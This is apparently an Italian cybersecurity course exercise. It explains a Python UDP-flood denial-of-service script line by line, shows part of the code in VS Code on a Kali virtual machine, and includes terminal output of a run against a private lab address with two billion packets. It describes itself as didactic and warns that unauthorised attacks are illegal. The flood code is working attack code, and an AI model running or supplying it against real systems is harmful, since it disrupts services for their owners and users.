

## Codice per attacco DoS

### Spiegazione

#### 1. Librerie Importate:

- **socket:** Permette di creare socket di rete, necessari per inviare i pacchetti UDP.
- **random:** Genera dati casuali da inviare come parte dell'attacco.
- **ipaddress:** Gestisce e valida gli indirizzi IP.

#### 2. Funzione `udp_flood`:

- **Creazione del socket UDP:** `udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)` crea un socket per inviare pacchetti UDP alla rete.
- **Generazione di dati casuali:** `data = bytearray(random.getrandbits(8) for _ in range(1024))` crea un array di byte casuali da inviare nel pacchetto.
- **Ciclo di invio pacchetti:** Il ciclo `for _ in range(num_packets):` `udp_socket.sendto(data, (target_ip, target_port))` invia i pacchetti all'indirizzo IP e porta di destinazione specificati.
- **Gestione degli errori:** Il blocco `try...except` cattura eventuali eccezioni durante l'esecuzione e le stampa.
- **Chiusura del socket:** Nel blocco `finally`, il socket viene chiuso per garantire che le risorse di rete vengano rilasciate correttamente.

#### 3. Funzione Principale:

- **Input dell'utente:** Vengono richiesti IP target, porta target e numero di pacchetti.
- **Validazione dell'IP:** Il blocco `try...except` con `ipaddress.ip_address(target_ip)` verifica la validità dell'indirizzo IP. Se non è valido, stampa un errore ed esce.
- **Validazione della porta:** Controlla che la porta sia nel range da 1 a 65535. Se non è valida, stampa un errore ed esce.
- **Validazione del numero di pacchetti:** Controlla che il numero di pacchetti sia positivo. Se non è valido, stampa un errore ed esce.
- **Esecuzione dell'attacco:** Chiama `udp_flood` con i parametri forniti dall'utente.

Il codice è progettato per eseguire un attacco Denial of Service (DoS) tramite un UDP flood. È un esempio didattico utile per comprendere l'uso di socket, la generazione di dati casuali e la validazione degli input. Tuttavia, ricorda che eseguire tali attacchi senza autorizzazione è illegale ed eticamente scorretto.

Kali2024.3 [In esecuzione] - Oracle VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

EsercitazioneS6L3.py - CorsoCyber0724 - Visual Studio Code

Go Run Terminal Help

```
1 import socket
2 import random
3 import ipaddress
4
5 def udp_flood(target_ip, target_port, num_packets):
6     try:
7         udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8         data = bytearray(random.getrandbits(8) for _ in range(1024))
9
10        for _ in range(num_packets):
11            udp_socket.sendto(data, (target_ip, target_port))
12
13        print("Attacco UDP flood completato con successo.")
14    except Exception as e:
15        print("Si è verificato un errore durante l'attacco UDP flood:", e)
16    finally:
17        if udp_socket:
18            udp_socket.close()
19
20 if __name__ == "__main__":
21     try:
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS COMMENTS

File "/home/kali/Desktop/CorsoCyber0724/EsercitazioneS6L3.py", line 41, in <module>  
udp\_flood(target\_ip, target\_port, num\_packets)  
File "/home/kali/Desktop/CorsoCyber0724/EsercitazioneS6L3.py", line 11, in udp\_flood  
udp\_socket.sendto(data, (target\_ip, target\_port))  
KeyboardInterrupt

(kali@kalivbox) - [~/Desktop/CorsoCyber0724]  
\$ python EsercitazioneS6L3.py  
Inserisci l'IP target: 192.168.1.33  
Inserisci la porta target: 69  
Inserisci il numero di pacchetti da inviare: 2000000000

Ln 44, Col 9 Spaces: 4 UTF-8 LF {} Python 3.11.9 64-bit

